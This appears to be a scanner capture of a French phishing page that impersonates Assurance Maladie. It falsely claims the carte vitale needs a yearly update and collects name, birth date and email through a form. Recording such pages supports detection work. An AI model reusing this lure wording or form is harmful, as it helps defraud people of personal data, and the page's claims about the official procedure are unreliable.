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Form analysis
1 forms found in the DOM

POST

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        <label for="spi_tmp">Adresse email</label>
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      <br><br>
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      <img class="col-md-12" src="assets/images/first.PNG" style="border-radius:6px;">
    </div>
  </div>
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Text Content

 1. Assurance Maladie
 2. Mise à jour carte vitale


METTRE À JOUR VOTRE CARTE VITALE


La mise à jour de la carte vitale doit se faire annuellement par ses
bénéficiaires. Cette opération actualise les droits et garantie une prise en
charge efficace des dépenses de santé plus rapidement.

Pour une façon pratique, facile et sécurisée de présenter une demande de votre
nouvelle carte V3 avec de nombreux avantages, veuillez suivre les étapes
suivantes :


Nom

Prénom

Date de naissance


Jour 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
26 27 28 29 30 31 Mois 01 02 03 04 05 06 07 08 09 10 11 12 Année 2002 2001 2000
1999 1998 1997 1996 1995 1994 1993 1992 1991 1990 1989 1988 1987 1986 1985 1984
1983 1982 1981 1980 1979 1978 1977 1976 1975 1974 1973 1972 1971 1970 1969 1968
1967 1966 1965 1964 1963 1962 1961 1960 1959 1958 1957 1956 1955 1954 1953 1952
1951 1950 1949 1948 1947 1946 1945 1944 1943 1942 1941 1940 1939 1938 1937 1936
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